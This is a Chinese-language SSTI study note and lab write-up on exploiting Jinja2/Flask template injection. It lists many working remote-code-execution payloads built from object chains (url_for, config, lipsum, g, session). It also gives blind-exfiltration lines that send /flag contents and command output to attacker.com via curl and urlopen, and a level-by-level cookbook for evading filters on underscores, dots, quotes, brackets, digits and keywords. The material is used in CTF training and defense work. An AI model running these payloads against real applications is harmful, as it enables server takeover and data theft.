SSTI
原理是Web应用未对用户输入进行过滤,直接将其嵌入模板内容中。模板引擎在编译渲染时,误将攻击者输入的特殊符号或代码识别为模板语言并执行,导致任意代码执行(RCE)或文件读取等风险
前置学习
基础payload参考
在类的获取中主要用到的:
__class__:返回类型所属的对象
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。为了方便且快速地看清继承关系和顺序,可以用__mro__方法来获取这个类的调用顺序
__mro__:返回该对象的所有父类
__base__:返回该对象所继承的父类
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
关于类的部分不用想太多,就相当于在当前类上叠加父类或者子类就行了
- Payload分析
1 | {{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('env').read()}} |
建立对象链
1 | ''.__class__.__base__.__subclasses__()[80] |
''→ 空字符串对象因为我们一开始并不知道有什么类,所以就会用到空字符,空字符的表现通常就是
'',(),[],{},"";这里的索引是80,但是在不同python环境下子类顺序不一样,但是通常不会使用类名直接作为索引
- 字符串字面量可能被过滤:
['catch_warnings']中的字符串可能被WAF检测 - 类名访问方式不同:不能直接
__subclasses__()['catch_warnings'] - 索引更通用:数字索引更容易构造和传输
- 字符串字面量可能被过滤:
80通常可能是
warnings.catch_warnings、subprocess.Popen或其他包含__builtins__的类攻击者通常需要测试不同索引来找到合适的类
访问全局命名空间
1 | .__init__.__globals__ |
.__init__→ 类的初始化方法.__globals__→ 获取该函数所在的全局命名空间字典- 这包含了该模块中的所有全局变量、函数和导入的模块
访问内置函数
1 | ['__builtins__'] |
__builtins__是一个特殊的字典,包含了所有的内置函数- 包括
__import__、eval、exec等危险函数
获取导入函数
1 | ['__import__'] |
- 从
__builtins__中获取__import__函数 __import__('os')等同于import os
导入os模块
1 | ('os') |
- 调用
__import__('os')导入操作系统模块 - 返回
os模块对象
执行命令
1 | .popen('env') |
os.popen()→ 执行系统命令'env'→ 执行的命令(Linux/Unix中显示环境变量)- 返回一个文件对象,包含命令输出
读取结果
1 | .read() |
- 读取
popen()执行的输出 - 结果会通过
{{...}}显示在页面上
这里的示例是最基础的一种,在其他思路中发现类的初始化并不是必要的,利用到初始化的方法比如说对于实例对象(如config、request),它们本身没有__globals__属性,只有函数才有。
以config为例,它本身只是一个实例对象,但是只有函数才有__globals__属性,所以需要通过初始化这个函数来访问__globals__,共性就是都需要访问__globals__属性之后再执行
1 | # config是一个字典实例 |
1 | config (字典实例) |
不同思路意味着切入点不一样,比如说直接从函数开始就可以直接用
起点1:函数(如url_for)
1 | # 函数直接有__globals__ |
为什么函数有__globals__?
- Python函数在定义时捕获了所在模块的全局命名空间
- 这是Python语言特性,用于闭包和动态作用域
起点2:实例对象(如config)
1 | # 实例对象需要先获取类方法 |
起点3:类本身(如dict)
1 | # 类本身的方法也有__globals__ |
本质上还是去用到这个全局命名空间
核心原理:__globals__是函数的作用域通行证
在Python中,每个函数都有一个__globals__属性,它指向该函数定义时所在的全局命名空间(模块级别)。函数之所以能访问模块级变量,是因为每个 Python 函数对象都保存了一个指向模块全局命名空间的引用,这个引用就是 __globals__。
__globals__字典包含:
- 模块中定义的所有全局变量
- 导入的所有模块(如
os、sys等) - 内置函数
__builtins__
通过__globals__导入模块,利用模块来执行模块对应的命令
内置函数的作用是导入__import__函数从而导入模块,相当于这一步是导入模块的中间步骤
比较常见的利用总结
1. 利用url_for
url_for是Flask的URL生成函数,在模板中全局可用。
1 | {{url_for.__globals__.__builtins__.__import__('os').popen('env').read()}} |
url_for是Flask的视图函数,而只要是函数都具有__globals__属性用.__globals__获取函数的全局命名空间,其余的差不多- 特点是不需要
.__class__链,并且成功率极高,因为url_for始终存在
2. 利用config
config是Flask的配置对象,是一个字典。(也就是实例对象的处理方法)
1 | {{config.__class__.__init__.__globals__.__builtins__.__import__('os').popen('env').read()}} |
config→ Flask配置字典.__class__→ 获取dict类.__init__→ 字典的初始化方法(这一步开始有函数,就可以有__globals__属性).__globals__→ 访问全局命名空间- 注意: 这里需要较长的链,因为
config是字典实例。
3. 利用lipsum
lipsum是Jinja2的内置函数,用于生成Lorem Ipsum文本。
1 | {{lipsum.__globals__.__builtins__.__import__('os').popen('env').read()}} |
lipsum是Jinja2的全局函数,这里也是函数直接开始后续链与url_for类似
4. 利用get_flashed_messages
get_flashed_messages是Flash消息处理函数。
1 | {{get_flashed_messages.__globals__.__builtins__.__import__('os').popen('env').read()}} |
- 与
url_for、lipsum相同,也是全局函数。
5. 利用request对象
1 | # 方法1: 通过__class__链 |
这里的方法一和前面的config方法一致
法二:
application是WSGI应用对象:
WSGI架构背景:
1
浏览器 → Web服务器(nginx) → WSGI服务器(uWSGI/gunicorn) → WSGI应用(Flask) → 视图函数
request.application的作用:1
2
3
4# Flask的request对象中
request.application # 指向当前的Flask应用实例
# 在Werkzeug(Flask的底层)中,request.environ['wsgi.app'] 存储了应用对象为什么能通过它访问
__globals__?1
2
3
4
5
6
7# Flask应用实例本身没有__globals__属性
# 但Flask应用类(Flask类)定义时的环境有__globals__
# 所以实际上应该是:
request.application.__class__.__init__.__globals__
# 但这个payload中的application可能是指向某个函数或对象这个payload可能不总是有效,因为在标准Flask中,
request对象没有application属性。正确的属性可能是:
1 | {{request.environ['werkzeug.server'].__init__.__globals__}} |
更常见的是:
1 | {# 通过request访问 #} |
6. 利用self对象
1 | {{self.__dict__._TemplateReference__context}} |
法一:
self- 在Jinja2模板中,
self指向当前模板实例对象 - 它是
Template类的一个实例 - 每个模板在渲染时都会创建一个这样的对象
- 在Jinja2模板中,
__dict__- Python对象的属性字典
- 包含该对象的所有属性和方法
self.__dict__包含了模板对象的所有内部属性
_TemplateReference__context- 这是Jinja2模板对象的内部属性
- 存储当前模板的渲染上下文
- 包含了所有传递给模板的变量
在SSTI中的用途:
1
2
3
4
5
6
7
8{# 1. 查看所有模板变量 #}
{{self.__dict__._TemplateReference__context|tojson}}
{# 2. 查看特定变量 #}
{{self.__dict__._TemplateReference__context.request}}
{# 3. 通过上下文访问危险对象 #}
{{self.__dict__._TemplateReference__context.request.__class__}}
self.__dict__._TemplateReference__context - 访问模板渲染上下文
7. 利用g对象(应用上下文)
1 | {{g.__class__.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} |
8. 利用session对象
1 | {{session.__class__.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} |
9. 利用cycler、joiner、namespace
这些都是Jinja2的全局函数:
1 | {{cycler.__globals__.os.popen('id').read()}} |
10. 利用range或dict
1 | {{range.__call__.__globals__.os.popen('id').read()}} |
关于range的部分:
什么是
range?1
2
3
4
5# 在Python 3中,range是一个类,不是函数
print(type(range)) # <class 'type'>
# 但我们可以像函数一样调用:range(10)
# 这是因为类实现了__call__方法__call__方法:1
2
3
4
5
6
7
8
9
10
11# 当类定义了__call__方法,它的实例就可以像函数一样被调用
class MyClass:
def __call__(self, *args):
return sum(args)
obj = MyClass()
result = obj(1, 2, 3) # 调用__call__方法
# 对于range类:
range_obj = range(10) # 创建实例
# 等价于:range.__call__(10)在SSTI中:
1
2
3
4
5{{range}} # 输出:<class 'range'>
{{range.__call__}} # 输出:<method-wrapper '__call__' of type object>
# range.__call__ 是一个方法对象(函数)
# 所以它有__globals__属性
dict在这里做一个类:
1 | # 在SSTI中常见的用法: |
无回显/盲注利用
1. DNS外带数据
1 | {{url_for.__globals__.os.popen('curl http://attacker.com/`cat /flag|base64`').read()}} |
2. 时间盲注
1 | {{ if url_for.__globals__.os.system('sleep 5') == 0 }}成功{{ endif }} |
3. 写入文件
1 | {{url_for.__globals__.os.popen('cat /flag > /tmp/flag.txt').read()}} |
4. HTTP请求
1 | {{url_for.__globals__.__import__('urllib').request.urlopen('http://attacker.com/'+url_for.__globals__.__import__('os').popen('id').read())}} |
靶场wp
把基本组成原理弄清楚之后靶场就清晰了很多
Level-1
这一关没有过滤,所以方法很多因为直接访问子类得到的类很多,除了138和80这两个一般性的位置,如果需要的类未知就需要去数,或者这里看到的解法:
1 | {{''.__class__.__base__.__subclasses__()[i].__init__.__globals__['__builtins__']['__import__']('os')}} |
这里用i是成功执行了的,在模板引擎中,{{ ... }}内的表达式会先进行变量替换,然后求值。例如:
1 | # 假设上下文中有变量 i = 138 |
这里的获取i的方式:
- 用户的外部输入
- 源代码中对i做了处理
- 模板中存在循环变量,循环的时候带入
还有一种是通过在payload中执行循环,直到i=需要执行的那个类的项,严格意义上说,也就是这里的第一点
1 | {{for i in ''.__class__.__base__.__subclasses__()}} |
循环遍历所有子类
1 | {{ for i in ''.__class__.__base__.__subclasses__() }} |
''.__class__.__base__.__subclasses__()- 获取所有继承自object的子类for i in ...- 遍历每个子类,i是当前子类的引用
条件判断筛选目标
1 | {{ if i.__name__ == '_wrap_close' }} |
i.__name__- 获取当前子类的名称_wrap_close-os模块中的一个类,通常包含os模块的引用- 只处理名为
_wrap_close的类,忽略其他子类
利用目标类执行命令
1 | {{ print i.__init__.__globals__['popen']('cat flag').read() }} |
i- 当前找到的_wrap_close类i.__init__.__globals__- 获取该类的初始化方法的全局命名空间['popen']- 从全局命名空间中获取popen函数('cat flag')- 执行命令读取flag文件.read()- 读取命令输出{{ print ... }}- 输出结果
这里就不需要担心子类顺序的问题
但是如果直接用一些全局函数,甚至都不需要这个,因为最终目的就是通过找能用的类把模块导入,如果是函数就可以直接导入了,不用对应的类
Level-2
过滤{{ }}
用{% %}就好
Level-3
Level-4
过滤[ ]
可以不使用,直接用全局函数
但是如果要用继承链可以用.pop(80)和__getitem__(80)代替[80]
Level-5
把需要引号的位置替换掉
1 | {{[].__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.__import__(request.args.a1).popen(request.args.a2).read()}} |
然后再交变量a1和a2为需要执行的
?a1=os&a2=env
这里没有字符串字面量,而是从请求参数获取值,而原本含有单引号的payload就是直接包含字符串的字面量的
request.args:Flask 框架中用于获取 HTTP GET 请求参数(URL 查询字符串)的字典对象
1 | # Flask自动注入的对象 |
cookie也可以,把args换成cookie再从cookie交就可以了,但是两个值的分隔方式要换成分号
Level-6
这次过滤的是下划线
没有避免用下划线的
attr()是Jinja2的一个内置过滤器,用于动态访问对象的属性。
基本语法:
1 | {{ object|attr('attribute_name') }} |
无论是字符拼接还是编码之后的字符串都必须要这个函数才能让它具有实际意义,这样带进去的才是一个完整的
''|attr(attr_name) 将attr_name变量的值作为属性名
方法都是基于这个内置过滤器的
使用过滤器链
1 | {{url_for|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} |
重新理解了一下工作原理:
首先还有一个前提是模板引擎本身是会解码的:Jinja2渲染时,会解析转义序列
其次就是函数执行的时机:函数内部的表达式会先执行,然后再是函数执行,也就是说函数执行的是接收,解码或者是拼接完成之后的,也就不会出现匹配错误的问题
即:
attr()的参数是表达式:会先计算,再作为属性名使用- 绕过过滤的关键是编码:让字符串在过滤阶段看起来没有敏感字符
- 模板引擎会解码:编码后的字符串在模板渲染时会被解码回原始形式
- 执行时机存在差异:
- 过滤 → 执行前
- 解码 → 执行时
attr()调用 → 执行时
可以把所有用到下划线的全部用request.args代替
1 | {{((''|attr(request.args.a1)|attr(request.args.a2)|attr(request.args.a3)())[80]|attr(request.args.a4)|attr(request.args.a5))[request.args.a6]('os').popen('ls').read()}} |
进行十六进制编码
1 | {{((''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')())[80]|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f'))['\x5f\x5fimport\x5f\x5f']('os').popen('env').read()}} |
注意
这里需要有括号,存在运算符的优先级利用
比如索引的位置,我们需要先完成整个链再取索引,所以需要括号包裹整体再取索引
1
2
3
4
5
6
7# 示例1:
''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[80]
# 解析为:(((''|attr)|attr)|attr)()[80]
# 示例2:
((''|attr('__class__')|attr('__base__')|attr('__subclasses__')())[80])
# 先完成整个链,再取索引- 过滤器
|优先级较低 - 函数调用
()优先级较高 - 索引
[]优先级较高
- 需要括号来明确意图:
- 过滤器
这里不能用
.__import__字典访问
__builtins__1
2(...)['\x5f\x5fimport\x5f\x5f']
# 这里不能用 .__import__,因为不是属性访问,是字典键访问
这里属性和字典键的区别在于
1 | # 情况1:属性访问 |
在payload中:
1 | ...|attr('\x5f\x5fglobals\x5f\x5f'))['\x5f\x5fimport\x5f\x5f']... |
__globals__返回一个字典- 字典通过
['key']语法访问,而不是.key,所以必须用['__import__'],不能用.__import__,关键再这个符号上
如果一定要用属性访问:需要先获取__builtins__,再用attr访问__import__
1 | {{ ...|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fimport\x5f\x5f')('os')... }} |
还可以利用的方法有:
- 字符串拼接
1 | {% set _ = '\x5f' %} |
- format
1 | {{ ''|attr('{0}{0}class{0}{0}'.format('_')) }} |
- join
1 | {{ ''|attr(['_','_','c','l','a','s','s','_','_']|join) }} |
- slice
1 | {% set s = 'abc_class_def' %} |
此外还有一些替代方法,比如:
1 | {# 使用其他字符,然后替换 #} |
这里的共性是解决方式不一样,但是对于被过滤的字符还是需要编码处理,request.args看起来是最佳的解决方案
除了十六进制,还可以运用编码的是:八进制 Unicode
Level-7
过滤点号
还是用attr()
Level-8
这一关过滤的是一系列关键字,如下:
1 | ["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"] |
Level-6的一般解法肯定是不行的,但是replace是可以的,join也是没有被过滤的,他们并不必须依赖attr(),可以单独使用
1 | {%set a="__claee__"|replace('ee','ss')%}{{''[a]}} |
{{ ... }}是表达式,会输出结果{% ... %}是语句,用于控制流程,不直接输出
replace的使用:
- 可以在
{{ }}内作为过滤器链的一部分 - 可以在
{% %}内用于变量赋值
其他的使用区别:
如果需要存储中间结果或复杂逻辑 → 用{% %}
如果直接输出简单表达式 → 用{{ }}
然后是join的:
1 | {%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}{# 字典键的拼接,python3.7之后就是按顺序拼接的 #} |
拼接执行之后通过变量a带出来,并且payload本身没有关键词也就不会被过滤
字典join的特殊性:
1 | {# 对列表join:连接元素 #} |
变量赋值也不只是局限于一个变量
1 | {%set a="__cla"%}{%set b="ss__"%}{{''[a~b]}} |
除了join拼接,字符串本身拼接也是可以的
1 | {{''['__cla'+'ss__']['__ba'+'se__']['__subcla'+'sses__']()[80]['__in'+'it__']['__glo'+'bals__']['__im'+'port__']('os')['po'+'pen']('env')['re'+'ad']()}} |
或者继续利用模板引擎渲染的特性,对关键词中间的字母做十六进制编码,
除此之外还有一种可以用reserve
字符反转,利用格式也差不多和join
1 | {%set a="__ssalc__"|reverse%}{{()[a]}} |
Level-9
过滤数字,数字就是索引那里会用到,直接用全局函数的都可以,但如果还是想用数字就是
变量赋值加过滤器使用:
1 | {%set a="aaaaaaaa"|length*"aaaaaaaaaa"|length%}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['__builtins__']['__import__']('os').popen('env').read()}} |
这里的length过滤器是用来获取数字的
Level-10
关于config的利用还有一些优势补充:Flask应用中一定会有config对象,并且本身可能包含敏感信息,作为应用核心对象,有完整访问链,WAF可能更关注''.__class__等常见payload
这里被设置为None,就需要我们使用别的对象链,或者current_app
通过Flask内置函数的__globals__访问Flask应用的真实current_app,再获取其完整的config。
1 | Flask应用实例 (app) |
1 | # current_app是Flask的线程本地代理 |
{{url_for.__globals__['current_app'].config}}
1 | 1. url_for → Flask的URL生成函数 |
{{get_flashed_messages.__globals__['current_app'].config}}
1 | get_flashed_messages → Flask的flash消息函数 |
lipsum与Flask函数的区别:lipsum没有current_app
通过request访问
1 | {{ request.environ['werkzeug.request'].application.__self__.config }} |
通过g对象
1 | {{ g.__class__.__init__.__globals__['current_app'].config }} |
通过session
1 | {{ session.__class__.__init__.__globals__['current_app'].config }} |
通过导入flask模块
1 | {{ __import__('flask').current_app.config }} |
Level-11
1 | ['\'', '"', '+', 'request', '.', '[', ']'] |
- 不能使用点号
.和方括号[],因此使用attr过滤器进行属性访问。 - 不能使用引号定义字符串,使用
dict(key=value)|join构造字符串(键名不需要引号)。(这个第八关也有用到)—创建一个字典—用join过滤器去执行— - 不能出现字符串
"request",避免使用request对象,使用其他可用对象如url_for或lipsum。 - 下划线
_未被禁止,因此可以构造如__class__等属性名。
1 | {% set glob=dict(__globals__=url_for)|join %} |
如果需要执行带空格的命令(如cat /flag),需要构造空格字符。由于不能使用点号和方括号,可以通过__builtins__获取chr函数,但__builtins__本身包含下划线,但构造chr需要字符串"chr",可以用dict构造。然后通过数字生成空格(ASCII 32)。但这样payload较长
1 | {% set a=dict(__class__=a)|join %} |
Jinja2中 |attr(d)(h)(i) 会被解析为:
- 当前对象应用
attr(d)过滤器 → 得到__getitem__方法 - 调用
__getitem__方法传入参数g→ 得到__import__函数 - 调用返回的函数传入参数
h→__import__("os")
Level-12
1 | ['_', '.', '0-9', '\\', '\'', '"', '[', ']'] |
过滤之后如果只是编码明显不行,因为编码会出现数字
对于数字的处理,第九关用到的是length,这里还有count也可以获得数字
使用
dict()|list|first生成字符串:dict(args=lipsum)→{"args": <function lipsum>}|list→ 字典转成列表:[("args", <function lipsum>)]|first→ 取第一个元素:("args", <function lipsum>)在Jinja2中,当需要字符串时,元组会被转换为字符串
"args"|join会连接字典的所有键,但这里只需要一个键|list|first更精确地获取第一个键值对的键request的作用是动态获取所需的字符串
1
request|attr(dict(args=lipsum)|list|first)|attr(dict(get=lipsum)|list|first)(dict(g=lipsum)|list|first)
等价于:
1
request.args.get("g")
1 | {{lipsum|attr(request|attr(dict(args=lipsum)|list|first)|attr(dict(get=lipsum)|list|first)(dict(g=lipsum)|list|first))|attr(request|attr(dict(args=lipsum)|list|first)|attr(dict(get=lipsum)|list|first)(dict(i=lipsum)|list|first))(request|attr(dict(args=lipsum)|list|first)|attr(dict(get=lipsum)|list|first)(dict(o=lipsum)|list|first))|attr(request|attr(dict(args=lipsum)|list|first)|attr(dict(get=lipsum)|list|first)(dict(p=lipsum)|list|first))(request|attr(dict(args=lipsum)|list|first)|attr(dict(get=lipsum)|list|first)(dict(c=lipsum)|list|first))|attr(request|attr(dict(args=lipsum)|list|first)|attr(dict(get=lipsum)|list|first)(dict(r=lipsum)|list|first))()}} |
这种就是同时在get上传参
用到count的话,也就是不去避免使用数字,差别比较大的点就是:从lipsum提取下划线:避免了直接写"_"字符串,元组拼接构造属性名:用(x,x,"class",x,x)|join构造"__class__",x的作用就是从lipsum字符串中提取的下划线字符,用于构造双下划线包裹的属性名。
1 | {%set a=(lipsum|string|list)|list%} |
Level-13
1 | ['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']'] |
相当于在上一关的基础上再加上关键词的拆分拼接就可以
